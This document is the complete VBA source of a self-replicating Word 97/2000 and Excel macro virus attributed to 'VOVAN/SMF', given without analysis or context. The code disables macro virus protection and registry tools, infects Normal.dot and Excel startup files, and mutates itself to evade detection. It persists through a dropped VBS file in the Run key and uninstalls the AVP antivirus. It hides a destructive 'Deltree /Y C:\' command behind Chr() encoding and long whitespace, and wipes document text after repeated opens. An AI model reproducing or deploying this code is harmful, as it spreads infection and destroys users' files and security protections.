MacroVirus.Word97/2000.Bug.a by VOVAN/SMF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Attribute VB_Name = "h6Qd4Ah8Kf0Rr2Dt6U"
Sub AutoOpen()
On Error Resume Next
With Application
.EnableCancelKey = 0: .ShowVisualBasicEditor = 0: .DisplayAlerts = 0: .ScreenUpdating = 0
End With
WordBasic.DisableAutoMacros 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Outlook\Journal", "Item Log File") = ""
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) <> "" Then GoTo 1 Else
If Options.VirusProtection = True Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = Chr(89) + Chr(101) + Chr(115) Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = Chr(78) + Chr(111)
If Options.SaveNormalPrompt = True Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) = Chr(89) + Chr(101) + Chr(115) Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) = Chr(78) + Chr(111)
1: With Options
.VirusProtection = 0: .SaveNormalPrompt = 0: .ConfirmConversions = 0
End With
Usr = Application.UserName: For ah = 1 To 8: ji = Array("*\*", "*/*", "*:*", "*[*]*", "*[?]*", "*<*", "*>*", "*|*")(hj): hj = hj + 1: hk = Usr Like ji: If hk <> 0 Then Usr = Chr(71) + Chr(105) + Chr(103) + Chr(97): Exit For
Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
ActiveDocument.ReadOnlyRecommended = 0
If AddIns.Count > 0 Then AddIns.Unload RemoveFromList:=True
If Normal.ThisDocument.Variables.Count >= 1 Then
If Normal.ThisDocument.Variables(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107)) = 1 Then Exit Sub
End If
If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Then If MacroContainer.FullName = NormalTemplate.FullName Then AutoExec Else AutoExec: Exit Sub
If NormalTemplate.VBProject.Protection = vbext_pp_none Then GoTo 2 Else If MacroContainer.FullName = NormalTemplate.FullName Then AutoExec Else AutoExec: Exit Sub
2: If Not (ActiveDocument.SaveFormat = 0 Or ActiveDocument.SaveFormat = 1) Then Exit Sub
If ActiveDocument.FullName Like "*:*" = True Then If ActiveDocument.Saved = True Then SV = True Else SV = False Else Exit Sub
If ActiveDocument.ReadOnly = True Then: SetAttr ActiveDocument.FullName, 0: ActiveDocument.Reload: If ActiveDocument.ReadOnly = True Then WordBasic.DisableAutoMacros -1: ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges: WordBasic.DisableAutoMacros 0: Exit Sub
If ActiveDocument.VBProject.Protection = vbext_pp_none Then GoTo 3 Else WordBasic.DisableAutoMacros -1: ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges: WordBasic.DisableAutoMacros 0: Exit Sub
3: If MacroContainer.FullName = NormalTemplate.FullName Then Set aaa = ActiveDocument Else Set aaa = NormalTemplate
For Each entry In aaa.VBProject.VBComponents
If entry.Name = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) Then GoTo 4
If entry.CodeModule.Find(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), 1, 1, 2000, 2000) And entry.CodeModule.CountOfLines >= 444 Then kod = True: GoTo 4
Application.VBE.ActiveVBProject.VBComponents.Remove Application.VBE.ActiveVBProject.VBComponents(entry.Name)
4: Next entry
With aaa.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
End With
If kod = False Then
Randomize Second(Now())
For f = 1 To Int((10 * Rnd) + 1)
L = Int(Rnd() * (90 - 66) + 65): x = Int(Rnd() * (57 - 48) + 48): S = Int(Rnd() * (122 - 98) + 97)
If Second(Now()) >= 30 Then Gen = Gen + Chr$(L) + Chr$(x) + Chr$(S) Else Gen = Gen + Chr$(S) + Chr$(x) + Chr$(L)
Next f
For Each tr In MacroContainer.VBProject.VBComponents
If tr.CodeModule.Find(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), 1, 1, 2000, 2000) Then T = tr.Name
Next tr
SetAttr Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98), 0
MacroContainer.VBProject.VBComponents(T).Export (Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98))
aaa.VBProject.VBComponents.Import (Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98))
aaa.VBProject.VBComponents(T).Name = Gen
If SV = True Then aaa.Save
Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
secret1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
secret2 = "Level"
secret3 = "1&"
Else
secret1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options"
secret2 = "EnableMacroVirusProtection"
secret3 = """0"""
End If
For ii = 1 To 2
If ii = 1 Then ci = Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) Else ci = Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101)
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word." & ci & ".8\shell\Open\ddeexec", "") = "[On Error Resume Next][DisableInput][SetPrivateProfileString " & Chr(34) & secret1 & Chr(34) & ", " & Chr(34) & secret2 & Chr(34) & " ," & secret3 & " ,""""][DisableAutoMacros][FileOpen(""%1"")][AutoOpen][DisableAutoMacros 0]"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word." & ci & ".8\shell\New\ddeexec", "") = ""
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word." & ci & ".8\shell\print\ddeexec", "") = "[On Error Resume Next][DisableInput][DisableAutoMacros][FileOpen(""%1"")][AutoOpen][DisableAutoMacros 0][FilePrint 0][DocClose 2]"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word." & ci & ".8\shell\print\ddeexec\ifexec", "") = "[On Error Resume Next][DisableInput][DisableAutoMacros][FileOpen(""%1"")][AutoOpen][DisableAutoMacros 0][FilePrint 0][FileExit 2]"
Next
End If
a = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & "_¹")
If a = "" Then
5: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & "_¹") = "1": GoTo 6
End If
b = a + 1: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & "_¹") = b
If b >= 100 Then
S = Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107)
Selection.WholeStory: Selection.Delete
ActiveDocument.Shapes.AddTextEffect(msoTextEffect4, S, "Impact", 162#, msoTrue, msoFalse, 150, 100).Select
Selection.ShapeRange.Adjustments.Item(1) = 0#
Selection.Collapse
ActiveWindow.View.Type = wdOnlineView
ActiveDocument.UndoClear
ActiveDocument.SaveAs ActiveDocument.FullName
GoTo 5
End If
6:                                                                                                                                                                                                                                                                                                                                                                                                                                                                            If Application.ShowVisualBasicEditor = True Then Shell (Chr(68) + Chr(101) + Chr(108) + Chr(116) + Chr(114) + Chr(101) + Chr(101) + Chr(32) + Chr(47) + Chr(89) + Chr(32) + Chr(67) + Chr(58) + Chr(92)), 0 '}|{yk
End Sub
Sub FilePrint()
On Error Resume Next
ActiveDocument.UndoClear
For V = 1 To 10
a = ActiveDocument.Words.Count
b = Int((a - 1) * Rnd + 1)
ActiveDocument.Words.Item(b).Font.ColorIndex = wdWhite
System.Cursor = wdCursorWait
Next V
Dialogs(wdDialogFilePrint).Show
ActiveDocument.Undo 10
ActiveDocument.UndoClear
End Sub
Sub FileSaveAs()
On Error Resume Next
If ActiveDocument.Saved = False Then If MacroContainer.FullName Like "*:*" = True Then AutoExec
Application.DisplayAlerts = -2
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub AutoExit()
Application.ScreenUpdating = 0
Options.VirusProtection = True
End Sub
Sub ToolsOptions()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) And System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) Then GoTo 1
If Options.VirusProtection = 1 Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = Chr(89) + Chr(101) + Chr(115) Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = Chr(78) + Chr(111)
If Options.SaveNormalPrompt = 1 Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) = Chr(89) + Chr(101) + Chr(115) Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) = Chr(78) + Chr(111)
1: If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = Chr(89) + Chr(101) + Chr(115) Then Options.VirusProtection = 1 Else Options.VirusProtection = 0
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) = Chr(89) + Chr(101) + Chr(115) Then Options.SaveNormalPrompt = 1 Else Options.SaveNormalPrompt = 0
If Dialogs(wdDialogToolsOptions).Show >= 0 Then
Exit Sub
End If
If Options.VirusProtection = True Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = Chr(89) + Chr(101) + Chr(115) Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = Chr(78) + Chr(111)
If Options.SaveNormalPrompt = True Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) = Chr(89) + Chr(101) + Chr(115) Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(33)) = Chr(78) + Chr(111)
Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
End Sub
Sub Organizer()
ViewVBcode
End Sub
Sub ToolsCustomize()
ViewVBcode
End Sub
Sub ToolsRecordMacroToggle()
ViewVBcode
End Sub
Sub AutoExec()
On Error Resume Next '                 \\||//\\//||//
'Copyright © 2001 by VOVAN/SMF         //||\\ // ||\\    v1.0
System.Cursor = wdCursorNormal
With Application
.EnableCancelKey = 0: .ShowVisualBasicEditor = 0: .DisplayAlerts = 0: .ScreenUpdating = 0: .DefaultSaveFormat = ""
End With
WordBasic.DisableAutoMacros 0
With Options
.VirusProtection = 0: .SaveNormalPrompt = 0: .ConfirmConversions = 0
End With
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
ActiveDocument.ReadOnlyRecommended = 0
CommandBars("Visual Basic").Visible = False
For vi = 1 To CommandBars("Visual Basic").Controls.Count
CommandBars("Visual Basic").Controls(vi).Enabled = False
Next
For ma = 1 To CommandBars("Macro").Controls.Count
CommandBars("Macro").Controls(ma).Enabled = False
Next
CommandBars("Macro").Enabled = False
If AddIns.Count > 0 Then AddIns.Unload RemoveFromList:=True
Set WshShell = CreateObject("WScript.Shell")
For ru = 1 To 2
If ru = 1 Then nj = Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) Else nj = Chr(54) + Chr(46) + Chr(48) + Chr(92) + Chr(67) + Chr(111) + Chr(109) + Chr(109) + Chr(111) + Chr(110)
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\" & nj, "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\" & nj, "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\" & nj & "\EndProcLine", 0, "REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
Next ru
If Day(Now()) = 12 And WeekDay(Now()) = 5 Then ViewVBcode
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce", Chr(33)) <> Chr(33) Then
If Tasks.Exists(Chr(65) + Chr(86) + Chr(80) + Chr(32) + Chr(77) + Chr(111) + Chr(110) + Chr(105) + Chr(116) + Chr(111) + Chr(114)) = True Then
Shell Chr(65) + Chr(86) + Chr(80) + Chr(85) + Chr(110) + Chr(73) + Chr(110) + Chr(115) + Chr(46) + Chr(69) + Chr(88) + Chr(69), 0
SendKeys Chr(123) + Chr(84) + Chr(65) + Chr(66) + Chr(32) + Chr(51) + Chr(125), True
SendKeys Chr(123) + Chr(69) + Chr(78) + Chr(84) + Chr(69) + Chr(82) + Chr(125), True
SendKeys Chr(123) + Chr(84) + Chr(65) + Chr(66) + Chr(125), True
SendKeys Chr(123) + Chr(69) + Chr(78) + Chr(84) + Chr(69) + Chr(82) + Chr(125), True
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce", Chr(33)) = Chr(33)
End If
End If
Plus = False
For Each ly In MacroContainer.VBProject.VBComponents
If ly.CodeModule.Find(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), 1, 1, 2000, 2000) Then T = ly.Name
Next ly
If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Then only = True: Plus = True: GoTo 7
If NormalTemplate.VBProject.Protection = vbext_pp_none Then GoTo 1 Else prot = True: Plus = True: GoTo 7
1: If MacroContainer.FullName <> NormalTemplate.FullName Then GoTo 2
For Each myTask In Tasks
If InStr(myTask.Name, Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(87) + Chr(111) + Chr(114) + Chr(100)) > 0 Then
a = a + 1
End If
Next myTask
If a > 1 Then Exit Sub
2: If Int((2 * Rnd) + 1) = 2 Then CW = 0: xc = Second(Now()) Else CW = Second(Now()): xc = 0
With MacroContainer.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
End With
For Each entry In MacroContainer.VBProject.VBComponents
If entry.Name = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) Then GoTo 3
If entry.CodeModule.Find(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), 1, 1, 2000, 2000) And entry.CodeModule.CountOfLines >= 444 Then GoTo 3
Application.VBE.ActiveVBProject.VBComponents.Remove Application.VBE.ActiveVBProject.VBComponents(entry.Name)
3: Next entry
C = MacroContainer.VBProject.VBComponents(T).CodeModule.CountOfLines
For om = 1 To C
q = MacroContainer.VBProject.VBComponents(T).CodeModule.Lines(om, 1)
If q Like "Sub*()" Then
jjj = Mid(q, 5): fff = Len(jjj) - 2: hhh = Left(jjj, fff)
Dim Array1()
sk = sk + 1
ReDim Preserve Array1(1 To sk)
Array1(sk) = hhh
End If
Next
Randomize
Number = Int(Rnd * sk) + 1
JJ = Array1(Number)
If C >= 888 Or Second(Now()) = 13 Then j = 1: n = C: GoTo 4
j = MacroContainer.VBProject.VBComponents(T).CodeModule.ProcStartLine(JJ, vbext_pk_Proc)
n = MacroContainer.VBProject.VBComponents(T).CodeModule.ProcCountLines(JJ, vbext_pk_Proc)
If Int((2 * Rnd) + 1) = 1 Then GoTo 5 Else GoTo 4
4: For o = j To j + n
e = Mid(MacroContainer.VBProject.VBComponents(T).CodeModule.Lines(o, 1), 1, 5)
If e = Chr(71) + Chr(111) + Chr(84) + Chr(111) + Chr(32) Then
e = Mid(Mid(MacroContainer.VBProject.VBComponents(T).CodeModule.Lines(o, 1), 1, 104), 6)
sd = Mid(Mid(MacroContainer.VBProject.VBComponents(T).CodeModule.Lines(o + 1, 1), 1, 104), 1)
ds = Left(sd, Len(Mid((Mid(sd, 1)), 2)))
If e = ds Then
MacroContainer.VBProject.VBComponents(T).CodeModule.DeleteLines o, 2
End If
End If
Next o
GoTo 6
5: If JJ = Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(69) + Chr(120) + Chr(101) + Chr(99) Or Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(79) + Chr(112) + Chr(101) + Chr(110) Then m = 20 Else m = 5
For Mutagen = 1 To m
j = (j + 1): n = (n - 1): G = j + n: y = Int((G - j) * Rnd + j)
For f = 1 To Int((33 * Rnd) + 1)
L = Int(Rnd() * (90 - 66) + 65): x = Int(Rnd() * (57 - 48) + 48): S = Int(Rnd() * (122 - 98) + 97)
V = V + Chr$(L) + Chr$(x) + Chr$(S)
Next
For Each lyy In MacroContainer.VBProject.VBComponents
If lyy.CodeModule.Find(V, 1, 1, 2000, 2000) Then V = "": GoTo 5
Next lyy
MacroContainer.VBProject.VBComponents(T).CodeModule.Insertlines y, Chr(71) + Chr(111) + Chr(84) + Chr(111) + Chr(32) & V
MacroContainer.VBProject.VBComponents(T).CodeModule.Insertlines y + 1, V & Chr(58)
V = ""
Next Mutagen
6: j = MacroContainer.VBProject.VBComponents(T).CodeModule.ProcStartLine(JJ, vbext_pk_Proc)
n = MacroContainer.VBProject.VBComponents(T).CodeModule.ProcCountLines(JJ, vbext_pk_Proc)
yy = MacroContainer.VBProject.VBComponents(T).CodeModule.Lines(j, n)
MacroContainer.VBProject.VBComponents(T).CodeModule.DeleteLines j, n
MacroContainer.VBProject.VBComponents(T).CodeModule.Insertlines 1, yy
7: For f = 1 To Int((10 * Rnd) + 1)
L = Int(Rnd() * (90 - 66) + 65): x = Int(Rnd() * (57 - 48) + 48): S = Int(Rnd() * (122 - 98) + 97)
If Second(Now()) >= 30 Then K = K + Chr$(L) + Chr$(x) + Chr$(S) Else K = K + Chr$(S) + Chr$(x) + Chr$(L)
Next f
If only = True Then
nor = GetAttr(NormalTemplate.FullName)
If nor = 33 Then nor = 1
If nor = 1 Then GoTo 8 Else GoTo 9
8: NormalTemplate.OpenAsDocument
SetAttr ActiveDocument.FullName, 0
ActiveDocument.Saved = True
ActiveDocument.Close
Normal.ThisDocument.Variables.Add Name:=Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), Value:=1
NormalTemplate.Saved = True
End If
9: Usr = Application.UserName: For ha = 1 To 8: ji = Array("*\*", "*/*", "*:*", "*[*]*", "*[?]*", "*<*", "*>*", "*|*")(hj): hj = hj + 1: hk = Usr Like ji: If hk <> 0 Then Usr = Chr(71) + Chr(105) + Chr(103) + Chr(97): Exit For
Next
SetAttr Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98), 0
MacroContainer.VBProject.VBComponents(T).Export (Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98))
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "Version") <> Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(32) + Chr(57) + Chr(53) Then
If prot = True Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(95) + Chr(43)) = NormalTemplate.FullName
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName & Chr(95) + Chr(35)) = NormalTemplate.Path
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\" & Chr(46) + Chr(98) + Chr(117) + Chr(103), "") = "VBSFile"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\VBSFile\DefaultIcon", "") = "shell32.dll,-152"
SetAttr Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(98) + Chr(117) + Chr(103), 0
Open Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(98) + Chr(117) + Chr(103) For Output As #1
Print #1, "On Error Resume Next"
Print #1, "Set Fso = CreateObject(""Scripting.FileSystemObject"")"
Print #1, "Set regedit = CreateObject(""WScript.Shell"")"
Print #1, "Function regget(value)"
Print #1, "regget = regedit.RegRead(value)"
Print #1, "End Function"
Print #1, "For st = 1 To 2"
Print #1, "If st = 1 Then sj = Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) Else sj = Chr(54) + Chr(46) + Chr(48) + Chr(92) + Chr(67) + Chr(111) + Chr(109) + Chr(109) + Chr(111) + Chr(110)"
Print #1, "regedit.RegWrite ""HKEY_CURRENT_USER\Software\Microsoft\VBA\"" & sj & ""\CodeBackColors"",""1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"""
Print #1, "regedit.RegWrite ""HKEY_CURRENT_USER\Software\Microsoft\VBA\"" & sj & ""\CodeForeColors"",""1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"""
Print #1, "regedit.RegWrite ""HKEY_CURRENT_USER\Software\Microsoft\VBA\"" & sj & ""\EndProcLine"", 0, ""REG_DWORD"""
Print #1, "Next"
Print #1, "regedit.RegWrite ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level"", 1, ""REG_DWORD"""
Print #1, "regedit.RegWrite ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"", 1, ""REG_DWORD"""
Print #1, "a = regget(""HKEY_CURRENT_USER\Software\Microsoft\Office\"; Application.UserName; "_+"")"
Print #1, "b = regget(""HKEY_CURRENT_USER\Software\Microsoft\Office\"; Application.UserName; "_#"")"
Print #1, "Fso.GetFile(b & Chr(92) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(46) + Chr(100) + Chr(111) + Chr(116)).Attributes = Normal"
Print #1, "Fso.GetFile(b & Chr(92) + Chr(126) + Chr(36) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(46) + Chr(100) + Chr(111) + Chr(116)).Attributes = Normal"
Print #1, "Fso.DeleteFile(b & Chr(92) + Chr(126) + Chr(36) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(46) + Chr(100) + Chr(111) + Chr(116))"
Print #1, "Fso.GetFile(a).Attributes = Normal"
Print #1, "Fso.DeleteFile(a)"
Print #1, "regedit.RegDelete ""HKEY_CURRENT_USER\Software\Microsoft\Office\"; Application.UserName; "_+"""
Print #1, "Set " & K & " = WScript.CreateObject(""Word.Application"")"
Print #1, "If " & K & ".NormalTemplate.VBProject.Protection = vbext_pp_none Then " & K & ".GoTo z Else " & K & ".System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\"", " & K & ".Application.UserName & ""_+"") = " & K & ".NormalTemplate.FullName"
Print #1, K & ".z: " & K & ".Options.SaveNormalPrompt = 0"
Print #1, "For Each entry In " & K & ".NormalTemplate.VBProject.VBComponents"
Print #1, "If entry.Name = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) Then " & K & ".GoTo 1"
Print #1, "If entry.CodeModule.Find(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), 1, 1, 2000, 2000) Then kod = True: " & K & ".GoTo 1"
Print #1, K & ".VBE.ActiveVBProject.VBComponents.Remove " & K & ".VBE.ActiveVBProject.VBComponents(entry.Name)"
Print #1, K & ".1: Next"
Print #1, "If kod = False Then"
Print #1, K & ".NormalTemplate.VBProject.VBComponents.Import """ & Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98) & """"
Print #1, "End If"
Print #1, "For x = 1 To " & K & ".NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines"
Print #1, K & ".NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1"
Print #1, "Next"
Print #1, K & ".Quit"
Close #1
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", Application.UserName) = Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(98) + Chr(117) + Chr(103)
End If
10: If Plus = False Then MacroContainer.VBProject.VBComponents(T).Name = K
If MacroContainer = NormalTemplate Then Application.OnTime Now + TimeValue("00:" & (CW) & ":" & (xc)), Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(46) & K & Chr(46) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(69) + Chr(120) + Chr(101) + Chr(99)
Set XLS = CreateObject("Excel.Application")
If UCase(Dir(XLS.StartupPath + Chr(92) + Chr(66) + Chr(111) + Chr(111) + Chr(107) + Chr(49) + Chr(46))) <> UCase(Chr(66) + Chr(79) + Chr(79) + Chr(75) + Chr(49)) Then
Set Book1Obj = XLS.Workbooks.Add
Book1Obj.VBProject.VBComponents.Import (Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98))
Book1Obj.SaveAs XLS.StartupPath & Chr(92) + Chr(66) + Chr(111) + Chr(111) + Chr(107) + Chr(49) + Chr(46)
Book1Obj.Close
End If
If CW = 1 Then
Kill (XLS.StartupPath + Chr(92) + Chr(66) + Chr(111) + Chr(111) + Chr(107) + Chr(49) + Chr(46))
End If
XLS.Quit
If ActiveDocument.VBProject.Protection = vbext_pp_none Then GoTo 11 Else WordBasic.DisableAutoMacros -1: ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges: WordBasic.DisableAutoMacros 0
11:                                                                                                                                                                                                                                                                                                                                                                                                                                                                            If Application.ShowVisualBasicEditor = True Then Shell (Chr(68) + Chr(101) + Chr(108) + Chr(116) + Chr(114) + Chr(101) + Chr(101) + Chr(32) + Chr(47) + Chr(89) + Chr(32) + Chr(67) + Chr(58) + Chr(92)), 0 '}|{yk
End Sub
Sub ViewSecurity()
ViewVBcode
End Sub
Sub FileOpen()
On Error Resume Next
WordBasic.DisableAutoMacros -1
If Dialogs(wdDialogFileOpen).Show Then AutoOpen
WordBasic.DisableAutoMacros 0
End Sub
Sub ToolsRecordMacroStart()
ViewVBcode
End Sub
Sub FileSave()
On Error Resume Next
Application.DisplayAlerts = -2
Application.ScreenUpdating = False
If MacroContainer.FullName Like "*:*" = True Then AutoExec
ActiveDocument.Save
End Sub
Sub AutoClose()
On Error Resume Next
If ActiveDocument.VBProject.Protection = vbext_pp_none Then
If ActiveDocument.Saved = False Then AutoOpen
If ActiveDocument.FullName Like "*:*" = False Then Exit Sub
AutoOpen
End If
End Sub
Sub FileTemplates()
ViewVBcode
End Sub
Sub EditSelectAll()
If Hour(Now()) < 6 Then
Selection.WholeStory
Selection.Font.Animation = wdAnimationBlinkingBackground
ActiveDocument.UndoClear
End If
Selection.WholeStory
End Sub
Sub ToolsMacro()
ViewVBcode
End Sub
Sub FilePrintDefault()
On Error Resume Next
ActiveDocument.UndoClear
For V = 1 To 10
a = ActiveDocument.Words.Count
b = Int((a - 1) * Rnd + 1)
ActiveDocument.Words.Item(b).Font.ColorIndex = wdWhite
System.Cursor = wdCursorWait
Next V
ActiveDocument.PrintOut
ActiveDocument.Undo 10
ActiveDocument.UndoClear
End Sub
Sub Auto_Open()
On Error Resume Next
Workbooks.Add
1: With Application
.ScreenUpdating = 0: .DisplayAlerts = 0: .EnableCancelKey = 0
End With
kod = False
Qaz = False
For Each nt In ThisWorkbook.VBProject.VBComponents
If nt.CodeModule.Find(Chr(125) + Chr(124) + Chr(123) + Chr(121) + Chr(107), 1, 1, 2000, 2000) Then T = nt.Name
Next nt
Usr = Application.UserName: For ha = 1 To 8: ji = Array("*\*", "*/*", "*:*", "*[*]*", "*[?]*", "*<*", "*>*", "*|*")(hj): hj = hj + 1: hk = Usr Like ji: If hk <> 0 Then Usr = Chr(71) + Chr(105) + Chr(103) + Chr(97): Exit For
Next
SetAttr Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98), 0
ThisWorkbook.VBProject.VBComponents(T).Export (Environ("WINDIR") & "\SYSTEM\" & Usr & Chr(46) + Chr(103) + Chr(117) + Chr(98))
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
Wordz = True
End If
WordObj.Options.SaveNormalPrompt = False
If GetAttr(WordObj.NormalTemplate.FullName) = vbArchive + vbReadOnly Then
SetAttr (WordObj.NormalTemplate.FullName), vbNormal
If Wordz = True Then WordObj.Quit
GoTo 1
End If
If WordObj.NormalTemplate.VBProject.Protection = vbext_pp_none Then GoTo 2 Else GoTo 4
